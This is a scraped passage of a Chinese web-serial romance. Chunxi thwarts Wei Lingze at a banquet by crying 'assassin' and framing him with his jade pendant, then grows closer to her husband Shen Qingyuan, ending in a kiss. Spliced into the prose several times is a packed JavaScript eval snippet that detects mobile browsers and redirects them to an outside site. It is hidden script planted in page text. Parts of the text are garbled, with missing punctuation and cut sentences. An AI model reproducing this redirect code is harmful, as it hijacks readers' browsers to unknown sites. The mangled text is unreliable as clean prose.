不等春喜回答,沈清渊抢先道:“今日萧夫人要把阿喜介绍给所有人,母亲却让阿喜不要说话,是故意跟萧夫人作对还是想让其他人误会阿喜嫁入侯府才几日就被我克成了哑巴? 莫氏一噎,强行狡辩:“我也没有不许她说话,只是让她小心点儿,别乱说话。 以前沈清渊对 莫氏爱答不理莫氏总觉得他对自己这个继母不够尊敬现在倒好但凡沈清渊在场她说一句这个逆子就要顶一句恨不得把她的肺管子戳穿。 他还不如像之前那样不说话呢! 眼看气氛不妙沈清越适时开口:“时辰不早了咱们出发吧。” 沈清越和沈清宇都是骑马沈清迟和莫氏坐一辆马车沈清渊也陪着春喜坐马车。 “我一个人可以的大人若是想骑马可以……” “我不想骑马”沈清渊直接打断春喜而后迎着她的目光说 还是同样的马车但两人的身份已经和之前大不相同。 沈清渊后面这句话让春喜的心跳快了一拍脸也跟着有些发烫。 大人这是在明目张胆地撩拨她吗? 可成婚这些天夜夜同床共枕大人也没有对她做什么呀难道是因为她今天格外漂亮? 这般想着春喜有些窃喜。 她虽不是什么绝色但打扮起来也是有几分姿色的。 春喜的唇角根本压不住沈清渊眸底也染上笑意不过若是他知道春喜心中所想一定会无奈摇头。 他是个身心正常的男人又寡了这么多年温香软玉在侧怎可能没有欲念? 可春喜砌厨房砌得太努力每夜几乎是一沾到枕头就呼呼大睡他连跟她培养感情的时间都没有。 罢了等小厨房砌好再说吧。 今日来卫家赴宴的宾客实在太多卫家附近的街道都拥堵起来实在堵得厉害大家只能下车走过去。 没多久立着两尊威武石狮子的卫家大门再度映入春喜眼帘。 春喜十岁**入卫家如今十九岁有近半的光阴都是在卫家度过的。 她对这里熟悉极了但再次站在这里她和从前截然不同。 今日是男女分席在门房那里写了礼春喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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丫鬟立刻跪下认错,不等春喜开口,莫氏便道:“你怎么回事,不知道小心点儿让开吗,让你好好跟贾嬷嬷学规矩你不学,结果一来就闯祸。” 莫氏没有责怪这丫鬟,反倒把春喜骂了一通。 春喜挑眉,幽幽道:“人家都跪下认错了,母亲这把年纪,眼盲就算了,耳朵怎么还聋了?” 第64章 有刺客 “曹春喜,你…… 莫氏没想到春喜会直接顶撞她,正想发怒,沈清迟小声打断:“娘,时辰不早了,我先陪嫂嫂去换衣裳吧。 “陪什么陪,她对这里比你熟多了。 莫氏直接拉着沈清迟离开,跪在地上的丫鬟立刻道:“奴婢这就带沈少夫人去客房换衣裳。 “好啊。 春喜唇角含笑,悠哉游哉地跟在丫鬟身后。 卫家家规很严,像今天这样的日子,所有下人脑子里都绷着一根弦,不敢出半点乱子,泼在她身上的茶水明显是故意的。 难道是萧二小姐又给她送财来了? 春喜暗中思忖着,没多久,便来到专供女眷休息的客房。 她一进屋,丫鬟就退下去取干净衣裳。 春喜迅速把屋里扫了一圈,并未发现任何异常,她正要细细查看,房门突然吱呀一声被推开,卫凌泽走了进来。 新婚燕尔,又得陛下提拔重用,他今日穿了一身用金银双丝绣着双龙戏珠图案的朱红锦袍,玉冠束发,同色腰带束出窄腰,连头发丝都透着意气风发。 这人该不会是献祭了脑子才换来双腿痊愈的吧,上次那一巴掌还不够扇醒他? 四目相对,春喜惊讶又奇怪,卫凌泽眸底却闪过惊艳。 萧清禾生得绝美,瀚京没有几个人能比得上她,春喜自然也不能。 但再美的人,看了这么多年也会腻。 春喜之前在卫凌泽面前都是丫鬟打扮,顶多偶尔在头上髻一朵绢花做装饰,而今日春喜修了眉,细细涂了脂粉,戴了珠钗耳环,和之前反差颇大,给卫凌泽造成了一定的视觉冲击。 卫凌泽勾了勾唇,正想上前好好跟春喜分析利弊,腿刚迈起来,春喜就嗷一嗓子喊起来:“来人啊,有刺客! 春喜拿出来吃奶的力气,嗓门儿大得如同河东狮吼,卫凌泽的耳膜被震得嗡嗡作响,方才那点儿惊艳顿时消散。 他沉了脸,冷声命令:“闭嘴,要是把人喊来,我就说是你勾引我,你看他们是信你还是信我! 卫萧两家刚联姻,闹出这种丑事,不管是谁主动,这屎盆子必然是要扣在春喜头上的。 卫凌泽有恃无恐,春喜却没有被他的话吓到,反而越发大声:“刺客**啦,救命啊!!! 竟然不管用! 卫凌泽眸色阴郁,快步上前去捂春喜的嘴,下一刻被春喜抓住胳膊狠狠咬住。 春喜牙口极好,咬得极狠。 卫凌泽有 种被狼崽子咬中会被撕下一块肉来的错觉胸腔戾气翻涌卫凌泽蛮横地甩开春喜。 春喜整个人重重地砸在墙上卫凌泽以为她吃了疼能乖一点儿谁知她竟马上爬起来从旁边窗户跳了出去。 “站住!” 女眷客房和男宾客房相隔不是很远为了增强隐私性中间种了一排排低矮的常绿灌木。 春喜的身形非常灵活不过眨眼就穿过灌木丛飞快地朝前跑去。 就这么不听话。 春喜这是你逼我的! 卫凌泽阴沉着脸去往后花园脑子里已经有了无数种让春喜身败名裂的应对之策。 “卫郎?”萧清禾领着太子妃走来看到卫凌泽很是意外“太子殿下来了你怎么还在这里?” 今天的擢升宴是专门为他办的这个时候他该在前院待客才是。 卫凌泽毫不慌张上前两步抓住萧清禾的手温柔道:“我来看看你。” 太子妃和萧清禾是手帕交她嫁入东宫之前正是萧清禾和卫凌泽感情正浓的时候看到这一幕太子妃笑着打趣:“禾儿都已经嫁给卫大少爷为妻了又不会跑掉就这么一会儿不见卫大少爷就受不了了啊。” “我是担心累着她。” 卫凌泽颔首坐实了这宠妻的事实。 萧清禾却忍不住指尖微蜷想要抽出自己的手。 刚刚她远远地就看到了卫凌泽卫凌泽是从供女眷休息的客房过来的。 他不该出现在那里。 而且他胳膊上有伤虽然很快就用袖子遮住萧清禾还是看到印在上面的牙印。 对方似是咬得极狠牙印森森见了血。 今日来赴宴的都是有头有脸的官家女眷卫郎会与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胆子很大的春喜此刻正窝在沈清渊怀里瑟瑟发抖。 “……那个刺客是打扮成丫鬟模样的,但身量实在太高了,一看就有问题,等他靠近,我立刻咬了他一口,结果被他甩飞,我这才找到机会翻窗逃跑。 春喜没哭,但声音满是仓惶,像是被吓坏了。 沈清渊紧紧抱着她,面色冷寒,凝着冰霜。 在场其他人也是神情严肃。 如果卫家真的藏着一个歹人,万一伤到太子殿下怎么办? 众人正想着,春喜又期期艾艾地开口:“我这些日子好像并没有得罪过什么人,大人,你说那个刺客会不会是之前在盂县的**同伙,故意来报复你的? 这话一出,整个前院陷入微妙的死寂之中。 是了,春喜只是个名不见经传的小妇人,就算有得罪人也只是一些市井小民,怎可能混进卫家杀她,但如果对方是冲着沈清渊来的就合理多了。 原本叶家这桩命案是沈清渊负责追查的,沈清渊在盂县出事后,卫凌泽才接手继续追查。 卫凌泽靠着这桩案子连升两级,前期查出线索还因此陷入危险的沈清渊却什么都没有得到。 虽说朝堂之中,踩着别人上位的事屡见不鲜,但卫家向来家风正,以刚正不阿闻名,卫凌泽怎么没在御前帮沈清渊美言几句? 而且如果那些**还有同伙,说明卫凌泽这案子办得并不利索,留下了后患。 那这高调铺张的擢升宴就有些名不副实了。 众人心思各异,卫父的脸色很不好看,但春喜就是个被吓破了胆的小妇人,他身为卫家家主若是因此计较未免太小气。 卫父沉着脸,命管事全力搜索,只要有形迹可疑的人都要带过来问话,还有春喜待的客房四周也要细细搜查,看对方有没有留下什么线索。 一番吩咐后,卫父看向春喜,还想问些细节,沈清渊沉沉开口:“内子受了伤,需要看大夫。 沈清渊说着把春喜拦腰抱起,保护的姿态很明显。 卫父眉眼微沉,在事情查清楚之前不太想让春喜离开,太子却开口道:“沈少夫人受了伤,确实该让大夫好好看看,本宫今日倒要看看什么人这么大胆,竟敢混进卫家生事! 太子发了话,卫父只能听从。 沈清渊抱着春喜去了客房。 一路上沈清渊的脸都冷沉得厉害,春喜有些惴惴,等进到客房,立刻凑到他耳边小声解释:“事情发生的太突然,我已经以最快的速度来找大人了,我真的没 有逞强。” 春喜说着要竖起三指发誓,手腕被抓住,沈清渊沉沉开口:“没生你气,别乱动。” 话音落下,沈清渊的大掌探向春喜腰间,竟是要脱她的衣裙。 春喜一惊,下意识地后缩:“大人你干什么?” **,还是在别人家,干这个不太合适吧。 春喜瞪大了眼睛,一脸的不赞同,沈清渊没有收回手,看着她的眼睛说:“我不做什么,只是看看你后背的伤。” 她整个人都被甩飞到墙上了,肯定伤得不轻。 沈清渊眸底都是关心,春喜放松了些,小声说:“大人放心,我没事。” “都吐血了还没事?” 吐血? 春喜茫然,思索了一会儿才想起那是自己咬伤卫凌泽后嘴里残留的血,刚刚为了演戏逼真,她当着众人的面吐了一口染血的唾沫出来。 “那不是我的血……” 春喜小声解释,沈清渊却没听,直接抓住她两只手举过头顶,另一只手飞快地解开她的腰带,然后拨开层层衣襟。 屋里很亮堂,沈清渊眸底虽然不带丝毫情欲,春喜还是羞得涨红了脸。 她还没准备好将自己袒露在大人面前啊! 见她脸红得几乎要滴出血来,沈清渊把春喜翻了个面压在床上,指尖勾住后衣领一拉,层层衣衫褪去,少女紧实玲珑的腰背展露无遗。 春喜这些年干的都是体力活,消耗大,吃得也多,身子并不纤弱,很有肉感,但一点儿也不胖,腰肢弧度完美,健康又美好。 本来白皙光滑的后背此刻却布着大片淤青,看着触目惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578725|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 沈清渊薄唇紧抿,眸底泛起黑沉沉的杀意。 这时卫家的下人带着府医到来,沈清渊第一时间帮春喜拉起衣服,然后才让府医进来诊治。 春喜背上的淤青看着很吓人,并没有内伤,但沈清渊坚持说看到春喜吐了血,府医开了一个滋补的方子让人去抓药,拿了活血化瘀的药膏给沈清渊。 府医一走,沈清渊又拉下春喜的衣裳帮她上药。 药膏要先在手掌化开,搓热了再往背上抹,力道很有要求,春喜自己肯定是做不到的,便只能把头埋在枕头里,假装帮她上药的人不是沈清渊,而是卫家的丫鬟。 然而沈清渊指腹带着薄茧,手掌又大又烫,不管春喜怎么劝说自己,都无法忽略这是一双男人的手。 就这样吧。 反正她和大人都成亲了,让大人看看后背摸一摸也不算什么。 而且成婚之前,她也把大人看了摸了,就当是扯平了吧。 谁也没吃亏。 上完药,沈清渊带着春喜回到前院,卫凌泽和萧清禾也正好赶到。 隔着一段距离,卫凌泽看到春喜绯红的脸颊和蓄着水光含羞带怯的眸,和在他面前的张牙舞爪不同,像是刚承过雨露,俏生生地绽放开来。 虽然知道沈清渊不可能在卫家跟春喜做什么,卫凌泽还是忍不住掐住掌心,怒火翻腾。 有种私有物被别人玷污的感觉。 卫凌泽的敌意相当明显,沈清渊揽住春喜的腰,把她捞进怀里严严实实地挡住,不允许任何窥视。 这时,太子派去和卫家管事一起搜查的护卫拿着一样东西匆匆折返:“启禀太子殿下,我们在沈少夫人刚刚说的客房外面找到了这枚玉佩。” 护卫双手呈上玉佩,距离近些的人都能看清玉佩的样式。 卫父的面色猛然一沉,卫凌泽更是险些咬碎嘴里的牙。 那是他之前让王氏转交给春喜的新婚贺礼,是他随身佩戴之物,外人可能认不出,但熟悉他的人一眼就能看出来。 这个女人怎么敢拿这枚玉佩栽赃陷害他! 第66章 你不欠他什么 卫父让管事把府里上上下下都排查了一遍并未发现形迹可疑之人眼看已经快到午时太子也没继续深究把玉佩交给卫父继续追查然后照常开宴。 前院又恢复热闹但众人心里都各有疑惑。 明明沈清渊也查了这桩案子甚至还以身犯险最后怎么只有卫凌泽独占功劳? 卫凌泽这桩案子是真的查清楚了吗今天这个神出鬼没的刺客是从哪儿来的?那枚质地不菲的玉佩又是何人之物? 这背后会不会还有藏得更深的真凶? 春喜不便留在男宾席和萧清禾一起去往后花园。 半路萧清禾屏退丫鬟柔声对春喜说:“我知道今日没有刺客是卫郎冒犯了小婶婶。” 萧清禾之前只是怀疑那枚玉佩肯定了她的猜想。 那是卫凌泽第一次出征之前她一步一叩首跪上云山寺求高僧开了光的玉佩希望能保卫凌泽平安归来。 后来卫凌泽受伤再也没有戴过这枚玉佩。 萧清禾也没想到再看到这枚玉佩会是今天这样的场景。 春喜步子未停连神色都没有改变淡淡道:“我不明白大少夫人在说什么。” 萧清禾并不生气只认真地看着春喜:“我并没有要套你话的意思我只是想知道他今天都跟你说了些什么。” 今日是他的擢升宴是她作为他的妻子第一次为他操办宴席他在太子妃面前表现得那样深情不移 她实在想象不到他会跟春喜说什么。 她知道他不会告诉她真相只能放下骄傲亲自来问春喜。 萧清禾说得很坦诚春喜仍是没有吐露真相只道:“我一开始就察觉到那个刺客不对劲所以第一时间呼救喊人发现没人来时就自己想办法逃生并不知道那个刺客是不是要让我带什么话给我家大人。” 春喜语气坦然好像真的不曾见过卫凌泽。 萧清禾捏紧绢帕她还想问些什么对上春喜清凌凌的眸却又张不开嘴。 春喜的态度从一开始就很明确她不喜欢卫凌泽也无意痴缠是卫凌泽放不下她。 这不是她的错。 心脏像是被一块巨石狠狠压住萧清禾有些喘不上气来。 片刻的沉默后她听到春喜说:“大少夫人既然愿意唤我一声小婶婶我也劝大少夫人一句你从来都不欠卫凌泽什么他若待你不好你也没必要心疼他。” 卫凌泽瘫痪后萧家推 迟了婚礼过去三年萧清禾只要出门参加宴席总能听到有人背后议论说她假仁假义势利薄凉只享受卫凌泽对她的好看卫凌泽成了废物便推迟婚期逼着卫家主动退婚连退婚的骂名都不愿意承担。 同族宗亲也有不少在背后骂她的就连她自己也一直对卫凌泽心怀愧疚。 可是本该和她站在敌对面的春喜说她从来都不欠卫凌泽什么。 萧清禾瞳孔微颤 “可是……” 萧清禾想反驳。 她和卫凌泽是青梅竹马他们之间感情深厚并不是一般的世家联姻确实是她不够坚定先退缩所以他怨怪她也很正常。 “没什么好可是的”春喜直接打断萧清禾“如果卫凌泽没有受伤而是你意外瘫痪你还会嫁给他吗?” “当然不会!” 萧清禾答得毫不犹豫。 卫凌泽是卫家长子他的妻日后是要做卫家主母的若她双腿残废如何能撑起卫家主母的威严? 她第一时间就会主动退婚。 春喜点点头:“你都能这样为他着想他呢为你想过吗?” 萧清禾哑然失声。 萧家虽然推迟了婚礼但并未退婚她也不曾变心扛着压力和骂名等了他三年。 如果他没有痊愈她是会继续等下去的。 如果他真的爱她也该知道她这三年过得并不好。 思绪跟着下坠萧清禾却猛然清醒过来。 她已经是卫少夫人了这条路是她自己选的如果夫妻一体她不该生出怨怼。 “我知道卫郎屡次不敬让小婶婶很不高兴但小婶婶也不该挑拨我们的夫妻感情。” 萧清禾的眼神恢复清明春喜暗道可惜。 可惜了这么好的姑娘插在了牛粪上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578726|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我没有挑拨只是在陈述事实”春喜弯眸笑得无辜“我只是觉得禾儿好像过得不是很开心想开解你一下日后你可以多找我聊聊天我最擅长开解人了。” 萧清禾:“……” 还是不必了她怕再多听几次真的会生出和离的念头来。 为免引起恐慌云氏并未告诉一众女眷有刺客只说有贵人丢了东西府里正在搜查萧 清禾回来说事情解决了,众人便又高兴起来。 萧夫人第一时间把春喜拉到身边,向众人介绍:“阿喜是我家渊儿娶的新夫人,这次他们成婚虽然没有大办,但这门婚事我家老太太很满意,我和阿喜也很投缘,以后大家可要多多关照我们阿喜啊。” 萧老夫人年纪大了,最近几年几乎不怎么出门走动,但萧夫人不管去哪儿参加宴席,总会念叨沈清渊几句,所有人都知道,萧老太爷虽然不在了,但萧家对老爷子这个外甥还是非常看重的。 萧夫人一口一个阿喜的叫着,亲昵得很,众人自然给面子夸赞春喜几句,但也有那说话不过脑子的。 “这不是卫大少爷之前总带在身边那个丫鬟吗,怎么突然变成沈大人的续弦了?” 这话一出,四下寂静,尴尬的气氛蔓延开来。 所有人都觉得是萧家忌惮春喜的存在,故意把她塞给沈清渊做续弦。 萧老爷子再疼爱这个外甥,到底人走茶凉,本就不是一个姓的,怎可能真的疼爱他? 莫氏在一旁看着很是痛快。 萧家上下一直都瞧不上她,萧夫人之前为了给春喜撑腰还来侯府耍威风,这下知道丢脸了吧? 莫氏唇角止不住地上扬,却不想春喜突然朝她看过来,还大声道:“我离开卫家后碰巧与婆母见了一面,婆母觉得我面相好,是个有福气的,肯定能帮我家大人破除克妻传言,所以极力促成了这门婚事。” 众人:“……” 差点儿忘了,沈清渊这个继母不是什么好鸟。 莫氏:“……” 上次真该让萧家的婆子撕烂她的嘴! 第67章 大人,我好像有点儿吃亏 宴席一直持续到夜里才散。 宴席一结束,卫父就把卫凌泽叫去书房,把那块玉佩狠狠砸向卫凌泽:“混账东西,看看你干的好事!” 卫凌泽侧身避开,玉佩砸在地上,四分五裂。 卫凌泽没看玉佩,只对卫父说:“这枚玉佩我已经很久没有戴过了,应该是春喜离开卫家时偷偷拿走的,肯定是沈清渊嫉妒我抢了他的功劳,所以故意陷害……” “都到这种时候了,你还不说实话,非要我把管事和那几个下人叫来跟你当面对质,是吗?” 卫父粗暴地打断卫凌泽,眼底闪过失望。 过去十多年,卫父一直以卫凌泽为傲。 这个儿子虽然含着金汤匙出生,却没有染上世家子弟的纨绔习性,反而正直进取,自从可重伤瘫痪,他就性情大变。 即便如今康复,也不再像当初那样坦荡磊落,反而行事阴狠、不择手段。 卫父的眼神刺痛了卫凌泽,卫凌泽抿了抿唇,不再辩解,片刻后说:“爹,那个叫春喜的丫鬟对我的意义不同,我后悔放她走了。” “她早就不是你的丫鬟了,而且她已经嫁为人妇,算起来你还得唤她一声婶婶,你觊觎**,有悖人伦,又把禾儿置于何地?” 卫父的语气一句比一句沉痛,只觉得卫凌泽在这件事上荒唐又糊涂。 若他真的看重春喜,可以早早把人收入房中,可他偏偏装作毫不在意把人放走。 春喜离开卫家不是一日两日了,现在人家嫁了人,他才来说后悔,早干嘛去了? 卫父气得不轻,书房气氛冷凝,过了好一会儿,卫凌泽开口:“爹,我错了。” 他不该小看春喜觉得她是可以拿捏的软柿子。 他想要春喜回到自己身边,就要毁掉她的靠山,断绝她的退路,把她逼入绝境才行 卫父不知道卫凌泽走入了更极端的死胡同,只当他真的想明白了,便也缓了语气:“我知道你因为萧家推迟婚礼有了心结,但如今你与禾儿已经成婚,你的气量也该大些,莫要再想着过去的事,早日让禾儿诞下子嗣才是。” “爹说的是,儿子以后会对禾儿好的。” 卫凌泽郑重保证了一番,卫父才放心让他离开。 回到凌枫院,萧清禾也才忙完,正坐在梳妆台前卸妆。 已是盛夏,夜里也热,萧清禾脱了白日那身老成又贵气的墨绿衣裳,只着一件杏色丝绸寝衣,没了繁重的钗环首饰,一头保养极好的乌发垂在肩侧,温柔又妩媚。 卫凌泽眸子微暗快步走到萧清禾身后抬手擦上她的唇。 “我帮你。” 话落卫凌泽指腹轻碾将萧清禾下唇的唇脂擦掉大半但她原本的唇色却比唇脂更艳。 卫凌泽喉结滚动忍不住扣住萧清禾的脸庞俯下身来却不想被萧清禾偏头避开。 这一吻落在了萧清禾脸颊。 “卫郎我今天很累。” 萧清禾柔柔开口语气和往日无异却是再明显不过的拒绝。 卫凌泽没有放手指腹摩挲着她的脸颊:“今天我温柔些保证不折腾太久爹娘都等着抱孙子呢。” 话落卫凌泽再次吻下萧清禾抬手捂住他的嘴:“卫郎我今天真的不想。” 接连两次被拒绝卫凌泽兴致全无他的眸子恢复清冷收回手温声道:“好我不勉强你我还有点事今晚睡书房你早些休息。” 卫凌泽说完头也不回地离开屋里一下子陷入沉寂萧清禾呆坐在那里竟隐隐有枯萎之势。 雀枝看得心惊忍不住上前问:“小姐你怎么了可是和姑爷吵架了?” 雀枝八岁就到萧清禾身边伺候两人之间的感情不似主仆更像姐妹无人时雀枝还唤她小姐。 萧清禾有些恍惚好像自己还未出阁仍是萧家的掌上明珠。 “雀枝。” 萧清禾低低地唤了一声雀枝连忙应声:“奴婢在呢小姐受了任何的委屈都可以告诉奴婢 雀枝自然是可靠的。 可萧清禾满嘴苦涩一句话都说不出来。 白日春喜说的那些话到底影响了她她竭力克制不愿深想却在面对卫凌泽时生了抵触。 她虽未能及时履行婚 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回到问心院,春喜先检查了尚未完工的小厨房,然后才去洗澡。 洗完出来,就见沈清渊换了宽松的寝衣坐在床上,手里还拿着白日大夫给的药膏。 想到白日的情形,春喜脸上一热。 她才看了大人一次,而且那次她没有贼胆,根本没有看清楚,委实有些吃亏。 春喜在门口停留的时间有些长,沈清渊以为她是害羞,淡声道:“放心,我只是帮你上药,而且你我是拜过天地的夫妻,你要适应与我亲昵。” “我知道,我只是觉得我有点儿亏。” 春喜脱口而出,说完恨不得咬断自己的舌头。 她怎么把心里话都说出来了? 春喜绞尽脑汁想要找补,突然听到沈清渊说:“我无意占你便宜,但如果你觉得吃亏,你可以从我身上讨回来。” 春喜:“……” 讨回来?怎么讨?是她想的那样吗? 第68章 你看上去很想亲我 春喜从小胆子就大,但沈清渊之前在她心里树立的形象实在是太正气凛然了,她实在不敢对他做出什么轻浮亵渎的举动。 片刻的沉默后,春喜果断认怂:“大人好心帮我擦药,哪能是占我便宜,我刚刚开玩笑呢。” 说着话,春喜自己趴到床上,把衣服退到腰际。 她的恢复力极好,这会儿背上的淤青瞧着已经没有在卫家的时候骇人了。 刚洗过澡,周身的皮肤被热气熏蒸透出淡淡的粉色,又香又软。 沈清渊顿了片刻,才挖了药膏在掌心化开。 虽说是一回生二回熟,但当沈清渊滚烫的掌心压到背上,春喜还是被烫得浑身一颤,身上的皮肤也越发的红起来。 知道她不好意思,沈清渊开口打破安静:“今天你在卫家真的遇到刺客了?” 说起正事,春喜果然就顾不上害羞了:“哪有什么刺客,是卫凌泽那个王八蛋故意让人把我引去客房的,今天卫家这么多宾客在,要是被人发现,我还有活路吗,而且他都娶了那么漂亮温柔的妻子了,还有什么不满足的?” 提起这件事春喜就忍不住冒火。 沈清渊对这个答案也不意外,手上动作不停,再开口语气也很平静:“他都跟你说什么了?” “我没给他机会说话,他一出现在客房我就大声喊人然后跑来找大人了。” 沈清渊猜卫凌泽可能会许诺春喜一些好处,还会说一些甜言蜜语哄她开心,独独没有猜到春喜如此干脆果决,连说话的机会都没给卫凌泽。 想到卫凌泽吃瘪的样子,沈清渊眸底闪过笑意,又问:“那块玉佩呢,你是怎么从他身上弄下来的?” 既然“刺客”是卫凌泽,那块玉佩自然不会是别人的。 “那个是他之前让我娘转交给我的新婚贺礼,是我逃跑的时候故意扔那儿的。” 春喜说着有点儿心虚。 虽然她对卫凌泽一点儿想法都没有,但如今毕竟是有夫之妇,收了别人的贴身玉佩作贺礼还不告诉自家男人,实在是不占理。 这般想着,春喜连忙解释:“这玉佩是我娘收下的,之所以没有退回去,是因为我觉得留着可能有用,我也不是故意要瞒着大人的,只是最近光顾着砌厨房了,没想起来。” “嗯,你做得很好。” 沈清渊淡淡地回了一句。 正好药都擦完了,便起身准备离开。 春喜趴在枕头上,看不到他说话时的表情,察觉到他要离开,下意识地伸手抓住 他的衣摆:“大人,你真的不生气吗? 她着急的衣服都没来得及拉上,脸在枕头里闷得有点红,这样的姿态来拉他的衣摆,有种说不出的娇怯妩媚。 沈清渊眸子微暗,开口声音跟着发哑:“我真的不生气,我只是想去耳房洗一下手。 “哦。 春喜放心地收回手趴回去。 春喜本想等沈清渊出来以后跟他说说铺子的事,结果等了很久他都没出来,最后她实在扛不住,自己睡了过去。 睡得迷迷糊糊时,她忍不住想,大人平日洗手也要洗这么长时间吗?那会不会很伤手?这是长期跟尸体打交道留下的毛病吗? 可她也不是尸体啊。 心里记挂着事,春喜第二日醒得早一些。 为了报答沈清渊帮忙擦药,她殷勤地拿来衣服伺候沈清渊更衣。 沈清渊从未让人照顾过饮食起居,有些不习惯,而且春喜离他太近,他难免会想到昨晚的场景,只能轻咳一声说:“你背上还有伤,我可以自己来。 “这点儿小伤不碍事的,而且大人不也说了要让我适应吗。 说着话,春喜手上没停,踮起脚帮沈清渊整理衣襟。 沈清渊喉结滚动,眸子暗了暗,没再拒绝。 穿好衣服,春喜又拿来腰带,一边给沈清渊系上,一边把昨晚没来得及说的话说完:“现在我名下有三间铺子了,一直空着怪浪费的,我打算雇人把生意做起来,娘的嫁妆里也有好些铺子,我想让人把这些年的账本拿来看看。 “去外面的时候记得多带几个人,若是遇到困难就来找我。 沈清渊并不介意春喜出去抛头露面,反而给足了她底气要给她撑腰,春喜弯眸:“遇到困难我肯定是要第一时间来找大人的。 话音落下,春喜抓起沈清渊的手仔细查看,沈清渊疑惑:“怎么了? 春喜抬头看着他,认真道:“洗太长时间会很伤 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春喜没有刻意分桌,沈清渊也没有提,贾嬷嬷和青书一起落座。 贾嬷嬷一开始还害怕春喜在菜里下毒害她,两碗酒下肚,整个人就放开了,说起沈清渊和沈清迟小时候的丑事来,沈清迟喝了酒也不再拘谨,咯咯地笑个不停。 春喜更是放得开,撸起袖子非拉着沈清渊划拳。 结果……一败涂地。 “大人你这张脸看着就不像是会划拳的人啊,你怎么这么厉害?” 喝得有点多,春喜有些大舌头。 其他人都已经被送回去,沈清渊把她抱进屋里,心情很好地回答:“我是十七岁就中了状元人,划拳对我来说并不是什么难事。” “对哦,我竟然忘了大人你很聪明!” 春喜一拍脑门笑出声来。 沈清渊跟着唇角上扬,目光黏在她脸上,灼热滚烫。 春喜被看得脸有些热,忍不住伸手捂住沈清渊的眼:“大人,别这样看着我,我会觉得你很想亲我。” 沈清渊没有拨开春喜的手,停了步子,一字一句地说:“夫人没感觉错,我的确想亲你。” 第69章 喜欢吗? 我的确想亲你你愿意吗? 春喜酒量好并没有醉但脑子转得比平时慢很多而且沈清渊的声音低哑好听睫毛还在她掌心刷呀刷她过了好半晌才反应过来这句话是什么意思。 大人真的想亲她并且在询问她的意见。 可这有什么好问的他们不是夫妻吗? 夫妻之间亲一亲不是很正常的事吗? “我和大人是夫妻我当然愿意……唔!” 春喜如实回答只是话还没说完就被封了唇。 她的手还捂着沈清渊的眼睛看不到沈清渊的表情只感觉他的唇很软也很烫。 比他刚刚看她的眼神还要灼烫许多。 沈清渊也喝了酒 春喜的心脏咚咚的跳起来。 原来亲吻是这种感觉啊。 还挺…… 春喜正觉得舒服突然感觉唇瓣一湿整个人僵住。 亲就亲沈大人怎么舔她? 春喜下意识地觉得不太妙连忙收回捂在沈清渊眼睛上的手去推他手腕很快被扣住。 沈清渊没了遮挡的眼眸翻涌着沉沉的欲色无边无际像是要把春喜整个人吞没。 春喜从未见过这样的沈清渊连酒都吓得醒了两分。 “大人……” 春喜想说点什么沈清渊又贴上来和她呼吸交缠:“别怕只是亲一下我不做别的。” 沈清渊的声音更哑了似有魔力将春喜蛊惑。 春喜眼睫轻颤没再伸手去推他沈清渊的唇复又落下。 眼睑、鼻尖、最后是唇。 他的动作算得上轻柔却是坚定地侵入几乎将所有的呼吸都掠夺。 有些缺氧春喜刚刚清醒的脑袋更晕了连自己是怎么回到床上去的都不知道。 第二天春喜又睡到了日上三竿。 身边空荡荡的沈清渊没在。 她是做了春梦还是真的被大人亲了? 春喜有些恍惚等起床看到镜子里明显红肿的唇才确定记忆中发生的一切都是真的。 大人真的亲了她! 而且亲得还很深入!! 他那张脸不像是会干这种事的人啊!!! 唇齿纠缠的触感似乎还残留在唇上春喜在凌乱之后发现沈清渊比她想象中的会多了。 沈大人这是拿前面两位夫人练出经验来了? 这个念头一冒出来春喜的心 沉了一下。 她正想做点什么转移注意力,就见沈清渊神态自若地走了进来。 “你怎么没去署衙? 春喜吓了一跳,太过慌乱,连尊称都忘了。 沈清渊端了一碗热气腾腾的粥放到桌上,淡声解释:“我今日沐休,昨天跟你说过的。 好像是有这么回事。 春喜揉揉太阳穴,目光止不住地往沈清渊唇上飘。 沈清渊的唇也有些红肿,不似平日那样疏冷,看着就很好亲。 啊啊啊,大白天的,她在想什么! 春喜强迫自己移开目光,看屋顶看地面,就是不看沈清渊。 春喜想要找借口躲出去,还没想好说辞,就听到沈清渊说:“你昨晚喝了不少,先过来吃点粥养养胃。 “我还不饿。 “不饿也吃一点,我熬了很久的。 “这是大人亲自熬的粥? 春喜震惊地抬起头,沈清渊并不觉得有什么,淡声道:“小厨房很好用。 这可是大人的一番心意,不能浪费。 春喜说不出拒绝的话,只能坐过去吃粥。 一口下肚,春喜的眼睛亮起来。 好吃! 